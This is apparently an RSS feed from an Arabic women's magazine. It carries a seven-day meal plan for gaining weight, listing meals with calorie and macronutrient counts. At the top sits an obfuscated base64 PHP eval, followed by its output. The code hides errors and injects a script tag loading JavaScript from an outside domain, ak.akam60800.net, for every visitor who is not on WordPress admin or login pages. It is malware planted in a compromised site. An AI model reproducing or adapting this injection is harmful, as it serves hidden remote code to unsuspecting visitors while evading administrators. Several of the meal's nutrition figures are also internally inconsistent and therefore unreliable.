eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | نظام غذائى يزيد الوزن</title>
	<atom:link href="https://jouzal.com/tag/%d9%86%d8%b8%d8%a7%d9%85-%d8%ba%d8%b0%d8%a7%d8%a6%d9%89-%d9%8a%d8%b2%d9%8a%d8%af-%d8%a7%d9%84%d9%88%d8%b2%d9%86/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Fri, 02 Aug 2019 17:26:42 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | نظام غذائى يزيد الوزن</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>نظام غذائي لزيادة الوزن متكامل بوجبات متنوعة و صحية و علاج سريع للنحافة</title>
		<link>https://jouzal.com/%d9%86%d8%b8%d8%a7%d9%85-%d8%ba%d8%b0%d8%a7%d8%a6%d9%8a-%d9%84%d8%b2%d9%8a%d8%a7%d8%af%d8%a9-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d9%85%d8%aa%d9%83%d8%a7%d9%85%d9%84-%d8%a8%d9%88%d8%ac%d8%a8%d8%a7%d8%aa/</link>
		
		<dc:creator><![CDATA[هاجر عبد الحافظ]]></dc:creator>
		<pubDate>Fri, 02 Aug 2019 13:49:28 +0000</pubDate>
				<category><![CDATA[أنظمة غذائية]]></category>
		<category><![CDATA[علاج النحافة]]></category>
		<category><![CDATA[علاج النحافة بالأعشاب]]></category>
		<category><![CDATA[علاج النحافة بالخميرة]]></category>
		<category><![CDATA[كيفية اكتساب وزن فى اسرع وقت]]></category>
		<category><![CDATA[كيفية التخلص من النحافة]]></category>
		<category><![CDATA[نظام غذائى]]></category>
		<category><![CDATA[نظام غذائى يزيد الوزن]]></category>
		<category><![CDATA[نظام غذائي لزيادة الوزن]]></category>
		<category><![CDATA[نظام غذائي يزود الوزن]]></category>
		<category><![CDATA[نظام غذائي يعالج النحافة]]></category>
		<category><![CDATA[وصفات علاج النحافة]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=2489</guid>

					<description><![CDATA[[highlight color=&#8221;yellow&#8221;]نظام غذائي لزيادة الوزن وعلاج النحافة بشكل طبيعي وصحي[/highlight]  يعاني الكثير من الأشخاص من النحافة المفرطة فيصبح شغلهم الشاغل التفكير في حل والبحث عن نظام غذائي لزيادة الوزن بطريقة طبيعية وصحية . ولكن اذا كان الشخص يتناول الطعام بكميات طبيعية ولكنه يفقد الوزن بشكل كبير فعليه مراجعة الطبيب واجراء بعض الفحوصات والتحاليل الخاصة بالغدد [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span style="color: #000000;"><strong>[highlight color=&#8221;yellow&#8221;]نظام غذائي لزيادة الوزن وعلاج النحافة بشكل طبيعي وصحي[/highlight] </strong></span></p>
<p>يعاني الكثير من الأشخاص من النحافة المفرطة فيصبح شغلهم الشاغل التفكير في حل والبحث عن نظام غذائي لزيادة الوزن بطريقة طبيعية وصحية .</p>
<p>ولكن اذا كان الشخص يتناول الطعام بكميات طبيعية ولكنه يفقد الوزن بشكل كبير فعليه مراجعة الطبيب واجراء بعض الفحوصات والتحاليل الخاصة بالغدد والهرمونات لتحديد سبب النحافة المفرطة.</p>
<p>أما اذا كانت التحاليل سليمة فيمكن اتباع نظام غذائيلزيادة الوزن وسوف نتعرف عليه في هذه المقالة .</p>
<p><strong>ملحوظة:</strong><br />
تناول 4000 سعرة حرارية يوميا قد يجعلك تشعر بالامتلاء والسمنة ولكن بناء العضلات قد يكون قليلا مقابل تخزين الدهون .</p>
<h4>[highlight color=&#8221;pink&#8221;]نظام غذائي صحي لزيادة الوزن وعلاج النحافة بعدد أيام الاسبوع [/highlight]</h4>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم الأول [/highlight]</strong></h4>
<p>وجبة الإفطار :</p>
<ul>
<li>1.5 كوب من دقيق الشوفان الخام</li>
<li>1 كوب حليب خالي الدسم</li>
<li>1/2 كوب توت بري مجفف أو زبيب</li>
<li>1 ملعقة زيت كتان ( طعم زيت الكتان يعمل بشكل جيد مع دقيق الشوفان )</li>
<li><strong>محتويات الوجبة :</strong></li>
<li>750 سعرة حرارية</li>
<li>35 جرام من البروتين</li>
<li>90 جرام من <a href="https://mawdoo3.com/%D9%85%D8%A7_%D9%87%D9%8A_%D8%A7%D8%B7%D8%B9%D9%85%D8%A9_%D8%A7%D9%84%D9%83%D8%B1%D8%A8%D9%88%D9%87%D9%8A%D8%AF%D8%B1%D8%A7%D8%AA"><strong>الكربوهيدرات</strong></a></li>
<li>18 جرام من الدهون.</li>
</ul>
<p><strong>وجبة خفيفة في منتصف الصباح :</strong></p>
<ul>
<li>1 كوب حليب خالي الدسم</li>
<li>قطعة كبيرة من الفاكهة مع ملعقة زبدة فول سوداني طبيعية</li>
<li>ملعقتين جبن موزاريلا قليل الدسم.</li>
</ul>
<p><strong>محتويات الوجبة :</strong></p>
<ul>
<li>500 سعرة حرارية</li>
<li>30 جرام من البروتين</li>
<li>30 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>2 طبق سلطة + البيض المسلوق</li>
<li>2 خبز القمح الكامل</li>
<li>الموز</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>600 سعرة حرارية</li>
<li>74 جرام من البروتين</li>
<li>16 جرام من الكربوهيدرات</li>
<li>30 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الظهر :</strong></p>
<ul>
<li>1 كوب زبادي قليل الدسم</li>
<li>1 كوب جبن خالي من الدهون</li>
<li>1 كوب من التوت البري الطازج او المجفف</li>
<li>2 ملعقة من زيت جنين القمح</li>
<li>1 ملعقة من العسل</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>600 سعرة حرارية</li>
<li>38 جرام من البروتين</li>
<li>80 جرام من الكربوهيدرات</li>
<li>2.5 جرام من الدهون</li>
</ul>
<p><strong>العشاء:</strong></p>
<ul>
<li>سمك السلمون المشوي</li>
<li>بطاطا حلوة كبيرة مشوية</li>
<li>1 كوب من قطع الفاصوليا الخضراء</li>
<li>1 كوب حليب خالي الدسم</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>700 سعرة حرارية</li>
<li>45 جرام من البروتين</li>
<li>70 جرام من الكربوهيدرات</li>
<li>20 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>زبدة الفول السوداني</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>600 سعرة حرارية</li>
<li>30 جرام من البروتين</li>
<li>35 جرام من الكربوهيدرات</li>
<li>16 جرام من الدهون</li>
</ul>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم الثانى[/highlight]</strong></h4>
<p><strong>وجبة الإفطار:</strong></p>
<ul>
<li>4 فطائر مصنوعة من الحبوب الكاملة</li>
<li>كوب من عصير البرتقال الطازج</li>
<li>كوب من الجبن قليل الدسم</li>
<li>1 كوب من الفراولة الطازجة</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>625 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>90 جرام من الكربوهيدرات</li>
<li>6 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة في منتصف الصباح :</strong></p>
<ul>
<li>ساندويش زبدة الفول السوداني مع الموز والعسل</li>
<li>2 قطعة من الخبز المصنوع من الحبوب الكاملة</li>
<li>2 ثمرة من الموز</li>
<li>2 ملعقة من العسل</li>
<li>2 كوب حليب خالي الدسم</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>600 سعرة حرارية</li>
<li>25 جرام من البروتين</li>
<li>85 جرام من الكربوهيدرات</li>
<li>18 جراما من الدهون</li>
</ul>
<p><strong>الغداء:</strong></p>
<ul>
<li>معكرونة مع الخضار</li>
<li>1 كوب حليب منزوع الدسم</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>700 سعرة حرارية</li>
<li>25 جرام من البروتين</li>
<li>125 جرام من الكربوهيدرات</li>
<li>11 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الظهر :</strong></p>
<ul>
<li>خلط كوب حليب منزوع الدسم مع كوب من الفواكه المجمدة وملعقتين من زيت الكتان, ويضاف الماء للوصول للقوام المطلوب</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>650 سعرة حرارية</li>
<li>50 جرام من البروتين</li>
<li>45 جرام من الكربوهيدرات</li>
<li>28 جرام من الدهون</li>
</ul>
<p><strong>العشاء :</strong></p>
<ul>
<li>البطاطا الحلوة مسلوقة او مشوية</li>
<li>1 كوب من الخضار مثل الكرنب أو السلق</li>
<li>2 رغيف من الخبز</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>700 سعرة حرارية</li>
<li>55 جرام من البروتين</li>
<li>95 جرام الكربوهيدرات</li>
<li>5 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>تناول طعام يحتوي على نسبة عالية من البروتين مثل اللحم أو البروتينات النباتية مثل البقوليات مع شريحة من الخبز.</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>400 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>45 جرام من الكربوهيدرات</li>
<li>5 جرام من الدهون</li>
</ul>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم الثالث[/highlight]</strong></h4>
<p><strong>وجبة الإفطار:</strong></p>
<ul>
<li>عجة الخضروات<br />
(2 بيضه، 2 بياض بيضة مزجه مع 1/2 كوب من الجبن خالي الدسم و 1/2 كوب من مكعبات الخضار التي تفضلها )</li>
<li>2 شرائح من الخبز المصنوع من الحبوب الكاملة</li>
<li>1 كوب حليب منزوع الدسم</li>
<li>برتقالة طازجة.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>700 سعرة حرارية</li>
<li>30 جرام من البروتين</li>
<li>60 جرام من الكربوهيدرات</li>
<li>20 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة منتصف الصباح:</strong></p>
<ul>
<li>علبة تونة</li>
<li>2 كوب من الأرز البني المطبوخ</li>
<li>خضار السلق</li>
<li>ثمرة من البرقوق</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>700 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>100 جرام من الكربوهيدرات</li>
<li>5 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>ساندويتش جبن (2 شرائح من الخبز المصنوع من الحبوب الكاملة مع شرائح الديك الرومي, وشريحة من الجبن قليلة الدهون، مع الخردل والخس والطماطم )</li>
<li>القليل من العنب الأحمر.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>650 سعرة حرارية</li>
<li>55 جرام من البروتين</li>
<li>80 جرام من الكربوهيدرات</li>
<li>10 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الظهر :</strong></p>
<ul>
<li>خلط كوب حليب منزوع الدسم مع كوب من الفواكه المجمدة وملعقتين من زيت الكتان, ويضاف الماء للوصول للقوام المطلوب.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>675 سعرة حرارية</li>
<li>50 جرام من البروتين</li>
<li>80 غرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>العشاء :</strong></p>
<ul>
<li>شريحة من اللحم المشوي</li>
<li>كوب من القرنبيط</li>
<li>2 كوب من الحبوب الكاملة والأرز البني</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>650 سعرة حرارية</li>
<li>38 غرام من البروتين</li>
<li>43 غرام من الكربوهيدرات</li>
<li>14 غراما من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>تناول ثمار من الفاكهة المفضلة لديك.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>458 سعرة حرارية</li>
<li>32 جرام من البروتين</li>
<li>42 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>قد يعجبك أيضا : </strong><a href="https://jouzal.com/%d8%b9%d8%b4%d8%b1-%d9%86%d8%b5%d8%a7%d8%a6%d8%ad-%d9%85%d8%ac%d8%b1%d8%a8%d8%a9-%d9%88%d9%85%d8%b6%d9%85%d9%88%d9%86%d8%a9-%d9%84%d8%b2%d9%8a%d8%a7%d8%af%d8%a9-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d9%88/"><strong>عشر نصائح مجربة ومضمونة لزيادة الوزن وعلاج النحافة سالي فؤاد</strong></a></p>
<h4>[highlight color=&#8221;yellow&#8221;]اليوم الرابع[/highlight]</h4>
<p><strong>وجبة الإفطار :</strong></p>
<ul>
<li>فطائر نخالة الشوفان</li>
<li>كوب حليب خالي الدسم</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>615 سعرة حرارية</li>
<li>49 جرام من البروتين</li>
<li>71 جرام من الكربوهيدرات</li>
<li>15 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة منتصف الصباح :</strong></p>
<ul>
<li>كوب حليب خالي الدسم</li>
<li>2 قطعة كبيرة من الفاكهة</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>658 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>84 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>ساندويتش الجبن مع التونة (2 شرائح خبز مع علبة تونة وشريحتين من جبن الشيدر مع المايونيز والخس والطماطم)</li>
<li>ثمرة كمثرى كبيرة .</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>610 سعرة حرارية</li>
<li>44 جرام من البروتين</li>
<li>77 جرام من الكربوهيدرات</li>
<li>14 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الظهر :</strong></p>
<ul>
<li>كوب حليب خالي الدسم</li>
<li>2 ثمرة من الفاكهة</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>658 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>84 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>العشاء :</strong></p>
<ul>
<li>صحن من الدجاج مع الفلفل الحار, مع شريحة من الخبز أو صحن من الأرز البني</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>389 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>27 جرام من الكربوهيدرات</li>
<li>14 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>ثمرة من الفاكهة</li>
</ul>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم الخامس [/highlight]</strong></h4>
<p><strong>وجبة الإفطار :</strong></p>
<ul>
<li>فطائر الحبوب الكاملة</li>
<li>2 كوب حليب خالي الدسم</li>
<li>1 كوب من التوت الطازج.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>615 سعرة حرارية</li>
<li>49 غرام من البروتين</li>
<li>71 غرام من الكربوهيدرات</li>
<li>15 غرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة منتصف الصباح :</strong></p>
<ul>
<li>كوب حليب خالي الدسم</li>
<li>2 ثمرة  من الفاكهة</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>658 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>84 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>ساندويتش لحم مشوي مع الجبن (2 شرائح من الخبز المصنوع من الحبوب الكاملة مع اربع شرائح من اللحم المشوي وشريحة رقيقة من الجبن قليل الدسم  والخس، والطماطم، والخردل )</li>
<li>تفاحة كبيرة.</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>610 سعرة حرارية</li>
<li>44 جرام من البروتين</li>
<li>77 جرام من الكربوهيدرات</li>
<li>14 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الظهر :</strong></p>
<ul>
<li>1 كوب حليب خالي الدسم</li>
<li>2 ثمرة كبيرة من الفاكهة</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>658 سعرة حرارية</li>
<li>40 جرام من البروتين</li>
<li>84 جرام من الكربوهيدرات</li>
<li>18 جرام من الدهون</li>
</ul>
<p><strong>العشاء:</strong></p>
<ul>
<li>شريحة برجر  مع خبز القمح الكامل</li>
<li>1 كوب حليب خالي الدسم</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>450 سعرة حرارية</li>
<li>34 جرام من البروتين</li>
<li>52 جرام من الكربوهيدرات</li>
<li>20 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>ثمرة من الفاكهة</li>
</ul>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم السادس[/highlight]</strong></h4>
<p><strong>الإفطار :</strong></p>
<ul>
<li>4 فطائر مصنوعة من الحبة السوداء</li>
<li>1 كوب حليب قليل الدسم</li>
<li>1 كوب عصير من التوت الطازج</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>720 سعرة حرارية</li>
<li>18 جرام من البروتين</li>
<li>140 جرام من الكربوهيدرات</li>
<li>5 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة منتصف الصباح :</strong></p>
<ul>
<li>6 بيضات مسلوق</li>
<li>كوب من الشوفان المطبوخ مع كوب حليب قليل الدسم مع موزة وقليل من القرفة.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>566 سعرة حرارية</li>
<li>41 جرام من البروتين</li>
<li>61 جرام من الكربوهيدرات</li>
<li>12.5 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>2 كوب معكرونة  مع 2 ملعقة من صلصة البيستو و4 شرائح من الدجاج المشوي مع سلطة جانبية.</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>723 سعرة حرارية</li>
<li>63 جرام من البروتين</li>
<li>90 جرام من الكربوهيدرات</li>
<li>23 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الغداء :</strong></p>
<ul>
<li>1 كوب من الأرز البني  مع 1/2 علبة من سمك السلمون (ممزوج مع زيت الزيتون والخل البلسمي وبعض التوابل، والريحان والفلفل الحار)</li>
<li>1 تفاحة</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>506 سعرة حرارية</li>
<li>28 جرام من البروتين</li>
<li>45 جرام من الكربوهيدرات</li>
<li>23 جرام من الدهون</li>
</ul>
<p><strong>العشاء :</strong></p>
<ul>
<li>شريحة من الدجاج المشوي</li>
<li>2 كوب من الخضروات المجمدة</li>
<li>بطاطا حلوة</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>491 سعرة حرارية</li>
<li>46 جرام من البروتين</li>
<li>42 جرام من الكربوهيدرات</li>
<li>6 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>خلط كوب حليب منزوع الدسم مع كوب من الفواكه المجمدة وملعقتين من زيت الكتان ويضاف الماء للوصول للقوام المطلوب</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>736 سعرة حرارية</li>
<li>66 جرام من البروتين</li>
<li>71 جرام من الكربوهيدرات</li>
<li>16 جرام من الدهون</li>
</ul>
<p><strong>قد يعجبك أيضا : </strong><a href="https://jouzal.com/%d9%88%d8%af%d8%a7%d8%b9%d8%a7%d9%8b-%d9%84%d9%84%d9%86%d8%ad%d8%a7%d9%81%d8%a9-%d9%86%d8%b5%d8%a7%d8%a6%d8%ad-%d8%b3%d8%b1%d9%8a%d8%b9%d8%a9-%d8%a7%d9%84%d9%85%d9%81%d8%b9%d9%88%d9%84-%d9%84-%d8%b9/"><strong>وداعاً للنحافة 10 نصائح سريعة المفعول لعلاج النحافة وزيادة الوزن في وقت قياسي</strong></a></p>
<h4><strong>[highlight color=&#8221;yellow&#8221;]اليوم السابع و الاخير[/highlight]</strong></h4>
<p><strong>الافطار :</strong></p>
<ul>
<li>6 بيضات مسلوقة مع كوب من مكعبات الفلفل و1/2 كوب من الجبن قليل الدسم وتناولها مع 4 ارغفة من القمح الكامل</li>
<li>1 جريب فروت متوسطة</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>761 سعرة حرارية</li>
<li>51 جرام من البروتين</li>
<li>88 جرام من الكربوهيدرات</li>
<li>20 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة منتصف الصباح :</strong></p>
<ul>
<li>2 كوب نخالة الشوفان مع 2 كوب حليب قليل الدسم مع رشة من القرفة، و 1/2 كوب من الزبيب</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>495 سعرة حرارية</li>
<li>12 جرام من البروتين</li>
<li>108 جرام من الكربوهيدرات</li>
<li>3 جرام من الدهون</li>
</ul>
<p><strong>الغداء :</strong></p>
<ul>
<li>صحن من السلطة الخضراء مع الخبز المحمص</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>620 سعرة حرارية</li>
<li>20 جرام من البروتين</li>
<li>101 جرام من الكربوهيدرات</li>
<li>16جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد الغداء :</strong></p>
<ul>
<li>زبدة الفول السوداني مع الموز مع شرائح التوست المحمصة</li>
<li>حساء الفاصوليا</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>625 سعرة حرارية</li>
<li>19 جرام من البروتين</li>
<li>77 جرام من الكربوهيدرات</li>
<li>27 جرام من الدهون</li>
</ul>
<p><strong>العشاء :</strong></p>
<ul>
<li>علبة تونة</li>
<li>كوب معكرونة من القمح الكامل مع صلصة مارينا المفضلة، وخلطه مع البروكلي على البخار</li>
<li>كوب حليب قليل الدسم</li>
</ul>
<p><strong>الوجبة :</strong></p>
<ul>
<li>674 سعرة حرارية</li>
<li>36 جرام من البروتين</li>
<li>50 جرام من الكربوهيدرات</li>
<li>13 جرام من الدهون</li>
</ul>
<p><strong>وجبة خفيفة بعد العشاء :</strong></p>
<ul>
<li>خلط كوب حليب منزوع الدسم مع كوب من الفواكه المجمدة وملعقتين من زيت الكتان, ويضاف الماء للوصول للقوام المطلوب</li>
</ul>
<p><strong> الوجبة :</strong></p>
<ul>
<li>736 سعرة حرارية</li>
<li>66 جرام من البروتين</li>
<li>71 جرام من الكربوهيدرات</li>
<li>16 جرام من الدهون</li>
</ul>
<p>وبذلك عند إتباعك هذه الخطوات من  نظام غذائي لزيادة الوزن والالتزام به يوميا يمكن علاج النحافة وزيادة الوزن بشكل طبيعي وصحي أيضا .</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>